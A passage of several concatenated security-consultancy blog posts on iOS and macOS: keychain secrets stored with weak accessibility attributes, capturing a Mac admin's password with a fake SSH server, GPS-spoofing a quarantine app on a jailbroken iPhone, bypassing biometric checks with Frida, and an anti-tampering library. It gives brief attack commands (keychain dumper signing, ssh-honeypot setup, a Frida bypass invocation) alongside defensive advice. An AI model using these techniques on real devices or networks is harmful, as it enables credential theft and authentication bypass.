We can sign the application using the “ldid” tool (ldid -Sents.xml app). When the application is prepared, use the “scp” to upload the dumper to your iPhone.

We have opened the dumper and observed Viber’s entries before the first unlock of the iPhone:

Additional thoughts

As we showed in the “What can go wrong” section, applications store sensitive information insecurely. We have observed also that there are also other serious consequences:

Storing PIN to the application

We found one finance application that stored a plaintext PIN with the alwaysAccessible attribute. From our experience users usually use the same PIN in applications and to unlock their iPhones. So, such a scenario may lead to unlocking the device.

Listing applications

Since the Keychain database stores the application access groups it is possible to retrieve a list of installed applications on the iDevice.

Breaking VPNs

Seeing TorGuard storing users password and login in plaintext with kSecAttrAccesibleAlways is even more terrible if you take under consideration that it is most recommended VPN application on TomSpark’s VPN Tier List.

TorGuard has an open bug bounty program, but after half a year we still didn’t get a response for the reported problem, although they changed to kSecAttrAccessibleAlwaysThisDeviceOnly and now they store plaintext information in a form of plist in the Keychain what still can be decoded and accessed.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
 <dict>
  <key>$archiver</key>
  <string>NSKeyedArchiver</string>
  <key>$objects</key>
  <array>
   <string>$null</string>
   <dict>
    <key>$class</key>
    <dict>
     <key>CF$UID</key>
     <integer>7</integer>
    </dict>
    <key>email</key>
    <dict>
     <key>CF$UID</key>
     <integer>2</integer>
    </dict>
    <key>id</key>
    <integer>-1</integer>
    <key>vpn-credentials</key>
    <dict>
     <key>CF$UID</key>
     <integer>3</integer>
    </dict>
   </dict>
   <string>anonymous</string>
   <dict>
    <key>$class</key>
    <dict>
     <key>CF$UID</key>
     <integer>6</integer>
    </dict>
    <key>password</key>
    <dict>
     <key>CF$UID</key>
     <integer>5</integer>
    </dict>
    <key>username</key>
    <dict>
     <key>CF$UID</key>
     <integer>4</integer>
    </dict>
   </dict>
   <string>secretmail@mail.com</string>
   <string>SecretPassword</string>
   <dict>
    <key>$classes</key>
    <array>
     <string>MDCredentials</string>
     <string>MDResponse</string>
     <string>NSObject</string>
    </array>
    <key>$classname</key>
    <string>MDCredentials</string>
   </dict>
   <dict>
    <key>$classes</key>
    <array>
     <string>MDUser</string>
     <string>MDResponse</string>
     <string>NSObject</string>
    </array>
    <key>$classname</key>
    <string>MDUser</string>
   </dict>
  </array>
  <key>$top</key>
  <dict>
   <key>root</key>
   <dict>
    <key>CF$UID</key>
    <integer>1</integer>
   </dict>
  </dict>
  <key>$version</key>
  <integer>100000</integer>
 </dict>
</plist>

Let’s imagine a worse scenario where an attacker steals the victim’s iPhone, dumps the keychain, and gains access to the company’s internal network.

Summary

In this article, we wanted to show you that the Keychain is the right place to store your app’s secrets, but it has to be used wisely. Setting bad accessible attributes may allow attackers to steal secrets from relatively modern iPhones with the newest iOS versions.

We recommend setting the accessibility attribute at least to kSecAttrAccessibleAfterFirstUnlock.

For the most important secrets consider using kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly which makes sure that the entry will be saved only on a device that has the Passcode/PIN set and the entry will not ever leave the Keychain.

Special thanks to Dawid Pastuszak — co-author of this article.

Originally published at https://www.securing.pl on January 5, 2021.

Stealing your app’s keychain entries from locked iPhone was originally published in SecuRing on Medium, where people are continuing the conversation by highlighting and responding to this story.

MacOS infrastructure

Apple devices have been present in the companies for a long time. Wherever there is a need to deploy iOS applications, testers and programmers have to use Macs. UX/UI designers and movie editors use Macs for apps that have only Apple versions. It is also worth noting that Macs are introduced to companies as the managers and directors want to use them as well. While Windows infrastructure in big companies is usually mature and well-tested, Macs infrastructure is usually no man’s land. After digging in some huge networks we observed a lot of ugly hacks and bad scripting exposing the company’s security. Compromising one Mac can have influence on the whole intranet as they have often access to SMB shares, do Kerberos authentication to the internal resources.

Vulnerable pattern

In this article we’d like to show you a common, vulnerable pattern present in macOS networks. Machines need to be somehow managed. The most efficient way nowadays are hybrid solutions that both enroll devices to the MDM and install agents. The MDM profiles are nice but have limitations, sofor the wider management functionalities, systems employ traditional SSH connections. The problem starts when macadmins use the same account with the same password across all devices in the network.

Elevating privileges on XPC vulnerabilities example

Typically in the managed Mac infrastructures users do not have root privileges. They run on standard users that are not in the admin group and are not included in the sudoers file. Attacker who compromises one machine, usually wants to perform a lateral movement and compromise other Macs. If the network implements the above-mentioned vulnerable pattern, the easiest way is to elevate permissions from the user to root and steal the macadmin’s password via a fake SSH server.Recently, one of our security consultants had a talk about “Abusing & Securing XPC applications”. Using XPC to elevate user’s privileges seems to be a perfect solution for that purpose. As shown in the presentation, the XPC vulnerabilities are everywhere. If you are interested in XPC exploitation, we strongly recommend watching This talk.

Lateral movement

To fake the SSH server, we can simply use the SSH-Honeypot project. Clone it and run the following commands:

#!/bin/sh brew install libssh json-c make -f MakefileOSX bin/ssh-honeypot -r ./ssh-honeypot.rsa

Now wait until the macadmin connects to the SSH:

Now, we can perform lateral movement to compromise other machines.

Summary

In this article we wanted to present you a common vulnerability pattern that we observe in Mac infrastructures. Elevating privileges on one machine may allow the attacker to compromise all Macs in the company and thus access sensitive resources available from each machine. Vulnerabilities in applications are not rare, so in professional networks remember about logging and incident response solutions. Keep in mind that responding to incidents is a defense-in-depth practice and every large Macs network should be thoroughly tested. Infrastructure assessment allows detecting such vulnerable patterns and making your network more secure.

If you want to secure your infrastructure leave your contact details in our form. We will get back to you to discuss your case as soon as possible.

Originally published at https://www.securing.pl on December 9, 2020.

Local Privilege Escalation in macOS infrastructure was originally published in SecuRing on Medium, where people are continuing the conversation by highlighting and responding to this story.

Some time ago I got stuck in the USA because of the COVID-19. After coming back to Poland with the “evacuation flight” I had to undergo mandatory quarantine for 14 days. Every day the Polish Police was visiting me and checking if I’m sitting at home and don’t go outside. As we all expected it was a big overhead to the Police since they had to visit every day each quarantined person. My friends told me that I can install an official government app that reports my location everyday. After the installation, the user has to complete an everyday task that includes sending a selfie from home. Under the hood, the application also reports the user’s location. I started considering if the application is properly protected against the GPS spoofing attacks.

Use the hyperdrive

There are many applications/teaks allowing changing your GPS coordinates on iOS. Detection of those is however not simple. There are a few approaches like constantly reporting the user’s location or analyzing the user’s velocity. The quarantine application I installed didn’t support such mechanisms (actually I saw an anti GPS spoofing method in the code but it was probably only a mock). So, I jailbroken my iPhone, downloaded the AkLocationX tweak and opened the quarantine application. After successful registration I spoofed my location as follows:

Opened the application and it turned out I was on somewhere in the North Pacific Ocean.

As you can see, tricking this application was rather simple, and a script-kiddie can bypass the quarantine. That may influence social health. In the next section, I’ll show you an improvement that can help with detecting such suspicious behaviors.

Jailbreak detection

As Wikipedia says:

Jailbreaking is the privilege escalation of an Apple device for the purpose of removing software restrictions imposed by Apple on iOS, iPadOS, tvOS, and watchOS operating systems. This is typically done by using a series of kernel patches. Jailbreaking permits root access in Apple’s mobile operating system, allowing the installation of software that is unavailable through the official Apple App Store.

To trick the quarantine application I had to have a jailbroken device first. It was required to install the GPS spoofing tweak. So, the idea is to detect that jailbreak and appropriately respond. For the quarantine applications maybe it’s a good solution no to trust the GPS localization on jailbroken devices and send Police to verify the user’s location?

Freedom vs jailbreaking

Here, I need to say I’m totally against blocking applications on devices where the jailbreak is detected. Users should have a choice to use jailbroken or jailed device. However, I also understand the fact that jailbroken devices tend to be less secure. Jailbreaking usually means staying on an outdated iOS version with known vulnerabilities, sometimes killing or modifying important security daemons. I remember the times where the SSH server was bound to all interfaces with the root:alpine credentials. So if you had connected to a public WiFi without device isolation any person would have been able to take over your device and execute any command as root.

We need to reach a compromise. High-risk applications have to somehow respond when they are run on the modified environment. In my opinion, the good solution is to perform the jailbreak checks, log it, inform the user that their device is jailbroken and they accept the risk using such a device.

Jailbreak detection cannot be fully trusted

Jailbreak detection is performed on the device which can be fully controlled by the user. It means that the attacker will always win! If the attacker has root permissions and can modify everything on the device they can also write an anti-anti-jailbreak mechanism. It can be done by modifying the application, creating a special tweak, running a Frida script or even creating a kernel extension.

You should always treat jailbreak detection as of another layer of security. It is really important to understand that implementing a jailbreak detection cannot be your only defense. The applications always have to be coded securely, doesn’t matter if the device is jailbroken or not.

Other COVID applications

In this research, I also quickly looked on some other quarantine applications. While I didn’t have access to the activated versions I just performed quick static and semi-dynamic analysis to see if the apps detect jailbreaks. It turned out that only 1 of 5 applications I quickly analyzed had such “protection”.

Summary

The Polish quarantine application on iOS was easily bypassable which could have had an influence on public health. The application had no GPS spoofing protection nor the jailbreak detection mechanisms. When jailbreak detection is not usually important and required there are some types of applications that it should be implemented. Even one, simple security layer may stop the “script kiddies” from bypassing the crucial features. On the other hand, we have to remember that the experienced attacker will always win when the checks are performed on the device. Do not do the false assumptions and always make sure your application is coded securely.

If you want to implement a jailbreak detection mechanism in your application take a look at our free & open source library — iOS Security Suite. You can find it on the Github — https://github.com/securing/IOSSecuritySuite

Why is jailbreak detection important? — COVID apps case was originally published in SecuRing on Medium, where people are continuing the conversation by highlighting and responding to this story.

Using iOS biometrics features like Touch ID and Face ID is a really convenient way to authenticate a user before performing sensitive actions. These actions, of course, depend on apps’ features. Usually, we test apps that use TouchID/FaceID to log in and to confirm financial actions (e.g. wire transfer). But, do these checks can be treated as 100% secure?

The answer is of course not. Biometrics checks are performed on your device, and like any others ‘client-side checks’ can be bypassed if attacker can control the application/device. In this blog post, I want to show you how easy that hack may be done. To perform the attack, we need:

• jailbroken device (if you do not have one, check this presentation),
• Frida,
• text editor. 😉

Sample app — SecuBank

I prepared a really simple application that asks you for your finger/face and displays a message if the verification was successful or not.

Note that the application’s logic was implemented in Swift:

Frida script

Now, we have to write a Frida script that bypasses the check. As you can see in the above-pasted code snippet, the evaluatePolicy uses a callback that determines the result. So, the easiest way to achieve the hack is to intercept that callback and make sure it always returns the success=1.

Hacking the SecuBank

At this moment, we just need to open the SecuBank and load the script with Frida:

$frida -U -l bypass.js -f biz.securing.SecuBank --no-pause

Summary

In this article, I showed you again that any kind of local checks can be bypassed, including the biometrics ones provided by the iOS/macOS. These checks are really convenient, but you have always to remember that they cannot guarantee any reliability if the device is jailbroken.

If you are interested in implementing such jailbreak checks, take a look at the iOS Security Suite — our open source project!

Implementing anti-tampering mechanism in iOS apps

Bypassing your apps’ biometric checks on iOS was originally published in SecuRing on Medium, where people are continuing the conversation by highlighting and responding to this story.

For all the years when iOS exists, many different types of application vulnerabilities have been discovered. They can result in a real risk and should be covered at first! After it is done, in most cases, the fire has been extinguished.

However, if you are responsible for developing high risk application you will be probably interested in reaching a higher app resiliency. Before attackers find the vulnerabilities they need to analyze your app. This is the moment when you can make their job harder — implement anti-tampering mechanisms and detect if you application has been launched in a malicious environment.

Disclaimer: Before I show you my solution you need to remember that it is also an additional security layer. Any anti-tampering mechanism cannot be a substitution of fixing vulnerabilities or implementing secure code. Otherwise, it will be only a false sense of security.

To simplify the implementation of anti-tampering mechanism in your iOS application I decided to create the iOS Security Suite — a Swift library that will do all the checks for you! Click here to visit our Github page and download.

Implementing ISS is really easy. To start using it:

1. Just copy the files from the repo.

git clone https://github.com/securing/IOSSecuritySuite

2. Install via CocoaPods

pod 'IOSSecuritySuite'

3. Use Carthage

github "securing/IOSSecuritySuite"

Now, import ISS in your Swift code and you are set! Read the docs to see full description. Below I’m pasting a code snippet example.

import UIKit
 import IOSSecuritySuite

class ViewController: UIViewController {  
    
 override func viewDidLoad() { 
 super.viewDidLoad() 
 }

override func viewDidAppear(_ animated: Bool) {
 let jailbreakStatus = IOSSecuritySuite.amIJailbrokenWithFailMessage()
 let title = jailbreakStatus.jailbroken ? "Jailbroken" : "Jailed"

let message = """
 Jailbreak: \(jailbreakStatus.failMessage),
 Run in emulator?: \(IOSSecuritySuite.amIRunInEmulator())
 Debugged?: \(IOSSecuritySuite.amIDebugged())
 Reversed?: \(IOSSecuritySuite.amIReverseEngineered())
 """

let alert = UIAlertController(title: title, message: message, preferredStyle: .alert)
 alert.addAction(UIAlertAction(title: "Dismiss", style: .default))
 print("TEST: \(message)")
 self.present(alert, animated: false)
 }}

Including this tool in your project is not the only thing you should do in order to improve your app security! You should also read my general mobile security whitepaper.

If you enjoyed this story, please click the 👏 button and share to help others find it! Feel free to leave a comment below.

Implementing anti-tampering mechanism in iOS apps was originally published in SecuRing on Medium, where people are continuing the conversation by highlighting and responding to this story.